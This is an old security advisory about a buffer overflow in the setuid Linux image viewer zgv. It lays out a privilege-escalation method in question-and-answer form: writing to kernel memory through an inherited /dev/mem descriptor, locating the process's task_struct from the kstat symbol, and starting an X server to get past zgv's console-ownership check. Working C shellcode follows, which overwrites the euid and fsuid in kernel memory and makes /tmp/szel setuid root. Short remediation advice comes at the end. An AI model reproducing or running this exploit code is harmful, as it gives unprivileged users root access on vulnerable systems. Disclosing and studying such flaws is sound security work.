COMMAND
zgv
SYSTEMS AFFECTED
Linux RedHat 5.1, Debian (others?)
PROBLEM
Paul Boehm found buffer overflow in zgv. More info was provided
by Nergal. A small test: three questions. The answer for each of
them lies below the question. 3 correct answers equals hash
prompt. Nergal tested my exploit successfully on zgv-3.0-4,
which is shipped with redhat 5.1, overflowing with HOME env
variable.
Q1. Indeed, after the overflow our uid, euid, fsuid and saved uid
are non-zero. But what in fact is "video display access",
what resources are required ?
Answer 1. Besides port access granted by ioperm/iopl, svgalib
needs write access to /dev/mem to operate. Therefore
svgalib keeps an open descriptor (number three usually)
to /dev/mem (is it true in all cases? can someone
confirm that authoritatively ?). So, we can modify our
uid (any kernel structure in fact) by writing to the
kernel memory via /dev/mem. All we need to do in our
shellcode is to exec a program which does:
lseek(3,someoffset,SEEK_SET); write(3,"\000\000",2)
where someoffset is the addres of our uid in our
task_struct.
Q2. Pure technical question: How do I find the address of my
task_struct ?
Answer 2. If you, carefull reader, are older then 14, you should
remember LDT exploit. Task_struct was pinpointed using
pattern matching. This technique is very powerfull, can
be harnessed as well for locating struct module in LKM
which intends to be invisible. Yet there is a better
method. We'll reap the address of
struct task_struct * task[] from /proc/ksyms. It's not
exported? True. However, in kernel/sched.c, line 107,
we read:
struct task_struct * task[NR_TASKS] = {&init_task, };
struct kernel_stat kstat = { 0 };
So, the address of task is NR_TASKS*sizeof(task_struct*)
less then the address of kstat, which IS exported. When
we have this address, we just need to check pid of each
task struct for equality with our pid. The code which
writes to /dev/mem is enclosed at the end of this post.
Q3 An obstacle. When you spawn the exploit being logged from
another system, you'll receive a message "You must be the
owner of the current console to run zgv" and zgv terminates
before its stack is smashed. Indeed, zgv tries to limit the
usage of itself, allowing to be run only by the user who owns
current /dev/tty? How can this check be bypassed?
Answer 3. Launch X-server, for instance by running X :1 & . X
server will change the current tty to the next free one
and make you owner of it, fooling zgv.
The code.In order to make it work, it needs little tuning. Find
in your /proc/ksyms the address of kstat and correct the value in
line 32. As you can see, this code attempts to make /tmp/szel
suid root. BTW, if you don't enter this value properly, this code
may well end up writing stuff to random locations in kernel
memory. Nermal does not neither do I take any responsibility for
the damage it can cause!!! A note for script kiddies & idiots:
you need to compose a prog which overflows zgv yourself, then
change usual /bin/sh to the code below.
/* by Nergal */
#define SEEK_SET 0
#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#define SIZEOF sizeof(struct task_struct)
int mem_fd;
int mypid;
void
testtask (unsigned int mem_offset)
{
struct task_struct some_task;
int uid, pid;
lseek (mem_fd, mem_offset, SEEK_SET);
read (mem_fd, &some_task, SIZEOF);
if (some_task.pid == mypid) /* is it our task_struct ? */
{
some_task.euid = 0;
some_task.fsuid = 0; /* needed for chown */
lseek (mem_fd, mem_offset, SEEK_SET);
write (mem_fd, &some_task, SIZEOF);
/* from now on, there is no law beyond do what thou wilt */
chown ("/tmp/szel", 0, 0);
chmod ("/tmp/szel", 04755);
exit (0);
}
}
#define KSTAT 0x001ca90c
main ()
{
unsigned int i;
struct task_struct *task[NR_TASKS];
unsigned int task_addr = KSTAT - NR_TASKS * 4;
mem_fd = 3; /* presumed to be opened /dev/mem */
mypid = getpid ();
lseek (mem_fd, task_addr, SEEK_SET);
read (mem_fd, task, NR_TASKS * 4);
for (i = 0; i < NR_TASKS; i++)
if (task[i])
testtask ((unsigned int)(task[i]));
}
SOLUTION
The best solution seems to be to remove suid bit off zgv. It is
meant *grin* to be run from the console, and the console access
usually means root access anyway. If you need to allow untrusted
users to use it, use StackGuard-ed version. Or read:
http://www2.merton.ox.ac.uk/~security/security-audit-199807/0432.html
(this is an excellent Solar Designer's post on some clever method
of securing to some extent strcpy's and related), add the enclosed
header file to the end of zgv.h and recompile. This will help to
defeat overflows only, but they seem to be the only threat: zgv
runs with unpriviledged uid (so no races and other fs tricks), and
can't be ptraced (dumpable flag is set). In Debiab 2.0r5 we have
zgv_2.8-4.1.deb buffer overflow patch applied.